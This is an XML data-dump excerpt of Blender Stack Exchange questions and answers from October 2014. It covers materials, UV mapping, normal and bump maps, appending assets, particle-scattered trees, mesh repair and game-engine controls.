  <row Id="16433" PostTypeId="1" CreationDate="2014-10-04T22:15:42.860" Score="3" ViewCount="342" Body="&lt;p&gt;Using a Blender python script I want to get the world coordinate of a specific pixel (or all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume a camera has been defined (focal length, fov/angle, sensor size,etc.), and orientated/pointed as desired. Also, a large surface is defined, so the camera rays would actually &quot;hit&quot; objects in the scene (&amp;amp; not cast into infinity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Given 4 corners pixels of camera, where do they in fall in world coordinates (XYZ)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, a script could export the world coordinates (XYZ) for all pixels, then a &quot;camera ray hit map&quot; could be generated.  &lt;em&gt;There's probably a better name for this.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the very similiar question, &lt;a href=&quot;https://blender.stackexchange.com/questions/7106/get-location-in-scene-for-pixel&quot;&gt;&quot;Get location in scene for pixel?&quot;&lt;/a&gt;, there are recommendations to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy_extras.view3d_utils.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy_extras.view3d_utils&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/bpy.types.Scene.html?highlight=ray_cast#bpy.types.Scene.ray_cast&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scene.ray_cast&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I'm new to blender, and ray-tracing in general, and it is not clear to me how to proceed with these functions.&lt;/p&gt;&#xA;" OwnerUserId="6340" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2016-01-08T20:39:23.227" Title="How to get world coordinates of pixels?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-23T22:05:58.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="16434" PostTypeId="1" AcceptedAnswerId="16441" CreationDate="2014-10-04T23:11:42.463" Score="5" ViewCount="135" Body="&lt;p&gt;I would like to know how I can export a material to let a friend use, without sending them a huge .blend file just to append the material from.&lt;/p&gt;&#xA;" OwnerUserId="6341" LastEditorUserId="55" LastEditDate="2014-10-05T17:01:26.193" LastActivityDate="2014-10-29T10:46:20.883" Title="Can a Cycles/Blender Internal materials be shared on their own?" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16435" PostTypeId="2" ParentId="16408" CreationDate="2014-10-04T23:30:41.403" Score="0" Body="&lt;p&gt;I seem to remember having this issue a while back too. If the above answer doesn't help, try enabling or even just switching to Z-transparency in your material settings for the character (in Blender Internal). I don't understand why, but this worked for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h6P8k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6207" LastActivityDate="2014-10-04T23:30:41.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16436" PostTypeId="1" CreationDate="2014-10-05T01:19:20.937" Score="0" ViewCount="769" Body="&lt;p&gt;This is very probably a noob question, but.  I have made a couple of characters on Make human, then imported them to blender where i had to re-assign all of the textures etc.  Once i got the character looking right again, I saved it as a .blend file, as well as a collada and an Obj file thinking one of them was bound to work right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, long story short, when i imported my character into my scene, all my materials and textures were back to default and in need of resetting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if i am doing something wrong in my saves, if I'm saving to the wrong format, or if it is something i have yet to even think of. I'm using cycles as my render engine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone wanna help me out and give me the idiots guide to how to save your textured character so that when you import it it is all ready to go?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;seems that what i have found thus far is very time consuming each time you want a new character in your scene.&lt;/p&gt;&#xA;" OwnerUserId="6255" LastActivityDate="2014-10-05T15:58:06.160" Title="Saving a character so it can be opened in a seperate blender project" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16437" PostTypeId="1" AcceptedAnswerId="16479" CreationDate="2014-10-05T02:56:15.857" Score="3" ViewCount="9235" Body="&lt;p&gt;My first post here.  I apologize in advance for my ignorance.  I'm looking to create a material (and lighting to make it look right) that will look like the one below.. maybe a bit more metallic.  I am a complete noob when it comes to materials and light so I don't even know where to begin.  Help???  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using cycles render mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8AfZO.png&quot; alt=&quot;Sonic Screwdriver&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6342" LastEditorDisplayName="user1853" LastEditDate="2017-02-09T01:03:21.267" LastActivityDate="2017-02-09T01:03:21.267" Title="How can I create a shiny metallic plastic-looking material?" Tags="&lt;materials&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16439" PostTypeId="2" ParentId="16414" CreationDate="2014-10-05T06:57:51.630" Score="3" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, currently pack is based on the selection only. It could be handy to have a way to select only unpinned UV islands so you could use them as a way to lock islands for other tools.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-05T06:57:51.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16440" PostTypeId="1" AcceptedAnswerId="16611" CreationDate="2014-10-05T08:42:57.470" Score="1" ViewCount="82" Body="&lt;p&gt;i would like to move my character by clicking on the ground ,and my character will move towards that direction instead of using keyboards. And how can i set to use my mouse to zoom in and out in the game using the mouse wheel  and rotate the view screen by pressing the middle mouse button and move .Something similiar to the game called runescape. And when i rotate my screen , how can i see through house , so that it wont block my view of the character.&#xA;Tyvm and pls help if you is able to.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2014-10-09T13:58:31.737" Title="blender game controling" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16441" PostTypeId="2" ParentId="16434" CreationDate="2014-10-05T08:47:03.567" Score="5" Body="&lt;p&gt;While its possible to invent some file-format to store Blender materials, this is currently not a common way to share materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically for this would be done by appending materials into a new Blend file, saving it, and sending this to a 3rd party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In rare cases a material may depend on objects (using empties for mapping), in those cases you could create a group of objects in your Blend file and append that instead of the materials (the materials will load in too).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-10-05T08:53:53.240" LastActivityDate="2014-10-05T08:53:53.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16442" PostTypeId="1" AcceptedAnswerId="16453" CreationDate="2014-10-05T09:29:56.303" Score="1" ViewCount="207" Body="&lt;p&gt;I have a large landscape which has mountains . How can I spread my trees ramdomly into the landscape in a quick way instead of placing them one by one?  . Just to be specific , my land scape is made of cubes and looks similiar to minecraft.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="3078" LastEditDate="2014-10-05T16:56:48.003" LastActivityDate="2014-10-05T18:04:34.223" Title="blender game engine objects ramdom duplicate" Tags="&lt;mesh&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16443" PostTypeId="1" AcceptedAnswerId="16447" CreationDate="2014-10-05T12:04:59.287" Score="21" ViewCount="36163" Body="&lt;p&gt;I've been stressing these days searching for a video on using a Normal map with a Bump map, but I haven't found something good. Some suggest connecting the Bump input into the Displacement output and others suggest connecting it to the Normal output of a Shader (both using a Bump node). What would be considered a right way of doing it? The Bump node has a Normal output. Is that for the Normal map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this road scene where the bricks are too smooth and I would go for making them more bumpy - &lt;img src=&quot;https://i.stack.imgur.com/aOyg8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the Noise texture as a Bump map, but the bricks already have a Normal map so that I have no idea where the bump node should be connected. And when connecting it into the Displacement output nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a tutorial by Andrew Price called &quot;The Secrets Of Realistic Texturing&quot;, the Normal map is connected into the Displacement output, but I'm not sure if it is a good way of doing it and the bumps are more like some streched lines which is not what a Noise texture would do - &lt;a href=&quot;http://qgv6y6drlr2sy3es4blouyvd9.wpengine.netdna-cdn.com/wp-content/uploads/sites/3/2013/01/complete1.png&quot; rel=&quot;noreferrer&quot;&gt;http://qgv6y6drlr2sy3es4blouyvd9.wpengine.netdna-cdn.com/wp-content/uploads/sites/3/2013/01/complete1.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the file if anybody comes up with something - &lt;a href=&quot;http://www.pasteall.org/blend/31902&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/31902&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unable to upload the maps (too high resolution), sorry. But, you can use maps of your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the node setup - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Z1TQ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-10-05T14:26:44.610" LastActivityDate="2018-03-29T20:23:49.773" Title="Using a Normal map together with a Bump map" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="16444" PostTypeId="1" CreationDate="2014-10-05T12:21:06.153" Score="0" ViewCount="90" Body="&lt;p&gt;I have signed up to Blender Cookie and got an download link for the above mentioned file.&#xA;But when I try to install it with the addon function in Blender it won't install. Does anybody know this file and can tell me how to use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Pingponguin&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2014-10-05T12:21:06.153" Title="Installing Free Blender Resin Shader for Cycles" Tags="&lt;add-on&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-10-13T23:18:46.150" ContentLicense="CC BY-SA 3.0" />
  <row Id="16445" PostTypeId="1" CreationDate="2014-10-05T12:31:05.603" Score="1" ViewCount="5388" Body="&lt;p&gt;Is it possible to ungroup an imported Wavefront(.obj) object? I have created the object in EasyToy and would like to finish it with Blender due to it's better functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoqTK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't select just for example an ear or eyeball. So my question is: is it possible to do this or do I have to select the single parts by selecting faces, edges etc.?&lt;/p&gt;&#xA;" OwnerUserId="6211" LastEditorUserId="3078" LastEditDate="2014-10-05T17:53:15.987" LastActivityDate="2014-10-05T21:19:44.310" Title="Separating parts of an object" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-10-05T21:38:23.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="16446" PostTypeId="1" CreationDate="2014-10-05T12:37:11.367" Score="1" ViewCount="539" Body="&lt;p&gt;I have created an object that should finaly look somewhat like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VWimS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender it now looks this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/glafd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BOU1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the eyes look better? I want to add eyelids. Maybe this would already help but I'm not sure about this. I'm still learning how to work with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Marek&lt;/p&gt;&#xA;" OwnerUserId="6211" LastActivityDate="2014-10-05T16:39:44.453" Title="Make the eyes look less like an insect" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ClosedDate="2014-10-05T16:58:49.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="16447" PostTypeId="2" ParentId="16443" CreationDate="2014-10-05T13:10:17.727" Score="33" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uIIP.png&quot; alt=&quot;normal and bump map node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the correct setup to combine normal and bump maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a normal map, you can't use the displacement material output, you have to plug it directly into the BSDF. The normal map must go first, and then you can add bump mapping on top of it.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2014-10-05T13:10:17.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16448" PostTypeId="2" ParentId="16446" CreationDate="2014-10-05T14:26:26.913" Score="2" Body="&lt;p&gt;Tp make the sharp edges disappear select your object and use smooth shading.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sKFTr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JMvJD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that you can always add add a &lt;strong&gt;Subdivision Surface&lt;/strong&gt; Modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nQwv8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-10-05T14:26:26.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16450" PostTypeId="2" ParentId="16436" CreationDate="2014-10-05T15:43:34.187" Score="1" Body="&lt;p&gt;File/Link or File/Append will be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save your character as a .blend file.  From the &quot;set&quot; file use the menu option File/Append or File/Link. You will get the best results when when Append or Link from one .blend file to another .blend file.  File/Append ... File/Append is a great way to reuse and asset and animation across files.  Linked Libraries.  Link below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender terminology for this is File/Append or File/Link.  Import is probably not what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you File/Append ... Choose the object or Mesh or Armature or Group.  You will travel through a hierarchy  to find what you need. Blender will also link/append related items.  You can design Groups to be linked/appended.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this link.&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-05T15:58:06.160" LastActivityDate="2014-10-05T15:58:06.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16451" PostTypeId="2" ParentId="16446" CreationDate="2014-10-05T16:10:58.413" Score="1" Body="&lt;p&gt;You stated.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to add eyelids&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for many people this is close to asking for a tutorial.  I suggest you look on some video site for .. blender face tutorial.  This site so far does not supply tutorial videos and all questions like this are likely to put on hold.  That is just standard.&#xA;Most people here have seen tutorial videos on face creation.  Consider watching videos and practicing for a couple of hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick instructions.&#xA;Remove three horizontal adjacent faces.  Delete the faces. Shape to crude eyelid. Select the border. Extrude and Scale Smaller.  Try more complex techniques later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5R2G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a similar topic.&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/13834/trying-to-replicate-a-2d-eye-rig/13841#13841&quot;&gt;Trying to replicate a 2D Eye Rig&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may contain references to other videos.&#xA;Search this site for face .. or extrusion.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-10-05T16:39:44.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16452" PostTypeId="2" ParentId="16445" CreationDate="2014-10-05T16:28:08.343" Score="3" Body="&lt;p&gt;In &lt;strong&gt;Edit Mode&lt;/strong&gt; unselect all by pressing &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select a vertex from one part of the mesh and press &lt;kbd&gt;Ctrl+L&lt;/kbd&gt; to &lt;strong&gt;select linked&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can press &lt;kbd&gt;P&lt;/kbd&gt; to &lt;strong&gt;separate&lt;/strong&gt; that part of the mesh into a new object, you then have the option to separate the elements by selection, material or loose parts.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="55" LastEditDate="2014-10-05T21:19:44.310" LastActivityDate="2014-10-05T21:19:44.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16453" PostTypeId="2" ParentId="16442" CreationDate="2014-10-05T16:49:01.573" Score="1" Body="&lt;p&gt;You'll likely want to use a particle system. Add a particle system to your mountain mesh, set it to hair, and set it to render your particles as your tree mesh. See the example below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i90GX.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6346" LastEditorUserId="6346" LastEditDate="2014-10-05T18:04:34.223" LastActivityDate="2014-10-05T18:04:34.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16454" PostTypeId="1" CreationDate="2014-10-05T17:24:49.727" Score="1" ViewCount="523" Body="&lt;p&gt;I just installed the latest version (Blender2.72) - Add-on Screencast disappeared. I think it's a shame because it was very useful ... &#xA;At a Blender 2.72 RC version I tested the add-on UV Copy/paste. And Align/Distribute UV. Blender on the site, they refer to these two add-on. But when I go to activate the Official, community testing and Blender 2.72 game. I can not find them. They have been removed as well? I thought it was official Add-On?&lt;/p&gt;&#xA;" OwnerUserId="6347" LastActivityDate="2014-10-05T17:38:31.090" Title="Add-on UV Paste Copy/ Align Distribute and Screencast in Blender 2.72" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16455" PostTypeId="2" ParentId="16454" CreationDate="2014-10-05T17:38:31.090" Score="1" Body="&lt;p&gt;I don't know about UV Copy/Paste addon, but Screencast have been removed indeed.&#xA;Still, there's nothing against using it, just install it manually - download source file and install from file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Screencast_Key_Status_Tool&quot; rel=&quot;nofollow&quot;&gt;Screencast wiki page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/UV/Copy_Paste_UVs&quot; rel=&quot;nofollow&quot;&gt;UV Copy/Paste&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2014-10-05T17:38:31.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16456" PostTypeId="1" CreationDate="2014-10-05T17:39:49.020" Score="0" ViewCount="1186" Body="&lt;p&gt;So I spent about an hour going through and UV editing each face for a building(walls, stairs, ect).&lt;img src=&quot;https://i.stack.imgur.com/QxbjA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I render it, it shows no textures.&lt;img src=&quot;https://i.stack.imgur.com/DYoRt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already changed it from generated to UV&lt;/p&gt;&#xA;" OwnerUserId="6348" LastEditorUserId="6348" LastEditDate="2014-10-05T18:16:41.353" LastActivityDate="2014-10-05T20:07:42.463" Title="How to Apply UV maps to each face" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16457" PostTypeId="1" CreationDate="2014-10-05T19:44:02.873" Score="1" ViewCount="4400" Body="&lt;p&gt;I am in the process of UV unwrapping a rather complex model that I have spent the last few weeks working on. However, at one point this evening whilst trying to make some progress on my project, I found myself unable to select individual vertices by right clicking them. I am still able to select individual faces by selecting the face select tool and right clicking on them, but for some reason I cannot do the same with vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that one other person had a similar problem with blender 2.7 which turned out to be caused by the &quot;UV sculpt&quot; tool, but no such tool exists in version 2.46, which I am currently using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue only affects the object itself and does not affect any other objects in the scene. I thought that I might be able to Rube-Goldberg-fix the problem by joining the affected object with a non-affected one and vice versa, but this only led to the problem &quot;infecting&quot; the other joined objects regardless of the joining order selected. I have also tried importing the mesh object into a new file, but the problem seems to follow it when I do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am now at a stage where I can either scrap the whole model and start over, or find some way of fixing it. Since the model represents quite some time investment from me, I would loathe to have to start over and so come to you, cap in hand, pleading for help with this project-ruining issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all in advance for your assistance.&lt;/p&gt;&#xA;" OwnerUserId="6349" LastActivityDate="2017-04-18T22:50:09.770" Title="Can't select individual vertices by right clicking in UV image editor (v2.46)" Tags="&lt;uv&gt;&lt;vertices&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16458" PostTypeId="2" ParentId="16456" CreationDate="2014-10-05T20:07:42.463" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;You must apply a new texture with the file with check box. Image Texture. Open the image file.&lt;/li&gt;&#xA;&lt;li&gt;Enable the texture&lt;/li&gt;&#xA;&lt;li&gt;Change the mapping to UV.&lt;/li&gt;&#xA;&lt;li&gt;Select the UV name explicitly to ensure it exists.&lt;/li&gt;&#xA;&lt;li&gt;You will be able to see the preview with the texture.&lt;/li&gt;&#xA;&lt;li&gt;Get some texture to appear then correct it.  Do not turn off the texture.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However if you really get stuck.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have changed many settings on the texture the situation may be difficult. So keep the UV(the hard work).  Delete the texture in the texture panel. And start a texture fresh with newly minted settings as above.  When you are close to perfect the preview will reflect some change.  Focus on your fresh settings, not some from 2 hours ago. Start fresh.  This is really 5 minutes or less of work.  When the situation improves include a new screen shot of texture settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-10-05T20:07:42.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16459" PostTypeId="2" ParentId="16457" CreationDate="2014-10-05T20:14:34.930" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Make sure you are in Vertex select mode in UV Image Editor View.  Edge and Face Select Mode are possible conflicts.&lt;/li&gt;&#xA;&lt;li&gt;Make sure you do [NOT] have proportional editing enabled. Turn it off.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YHRtV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-05T20:34:31.503" LastActivityDate="2014-10-05T20:34:31.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16460" PostTypeId="1" CreationDate="2014-10-05T20:35:34.790" Score="0" ViewCount="213" Body="&lt;p&gt;I am using an array in conjunction with a curve modifier to make a stone wall along a path.  But the problem is that it is easily noticeable that all the stones have the exact same mapping (i.e. the exact same cracks in the exact same place) which looks terrible.  This problem is easy to eradicate for just the displace modifier by basing the texture coordinates on an empty.  I would like to be able to do something like this for the material mapping as well, altering the position of the UV pelt on the UV grid.  Though I am open to any suggestions on how to fix this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a clarification, I need to use &lt;em&gt;UV&lt;/em&gt; coordinates, &lt;em&gt;not generated&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="599" LastEditDate="2014-10-05T23:53:12.550" LastActivityDate="2014-10-05T23:53:12.550" Title="How to adjust UV mapping for each element of an array?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-10-05T20:54:45.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="16461" PostTypeId="1" CreationDate="2014-10-05T21:07:57.690" Score="4" ViewCount="1767" Body="&lt;p&gt;Hello user forums and those interested,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have scanned a brick using a 3D scanner and the mesh it provided has lots of holes, overlapping mesh, and it missed the extruded interior of the holes.&#xA;How can I fill the random holes more efficiently than selecting edges and filling the holes? How do I deal with the overlapping faces? How should I fill the extruded interior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hw89t.jpg&quot; alt=&quot;Random holes&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f7Ofv.jpg&quot; alt=&quot;Lack of information&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CYvqw.jpg&quot; alt=&quot;Overlapping faces&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vmcP4.jpg&quot; alt=&quot;Rendering&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2014-10-05T22:10:44.250" Title="How do I fill these holes, fill space without information, and deal with overlapping meshes" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16462" PostTypeId="2" ParentId="16461" CreationDate="2014-10-05T22:05:39.403" Score="1" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;remesh modifier&lt;/a&gt;. This will generate an entirely new manifold mesh made exclusively of quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cF5PP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-05T22:10:44.250" LastActivityDate="2014-10-05T22:10:44.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16464" PostTypeId="2" ParentId="12154" CreationDate="2014-10-05T23:48:51.223" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Game_Development#New_Mouse_Actuator&quot; rel=&quot;nofollow noreferrer&quot;&gt;As of 2.72, there is a new &lt;em&gt;mouse&lt;/em&gt; actuator&lt;/a&gt; which you can use to rotate objects based on mouse movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P5ERi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using this actuator instead of the python script, it seems to work fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJDDh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/171/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=171&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-11T06:04:10.100" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
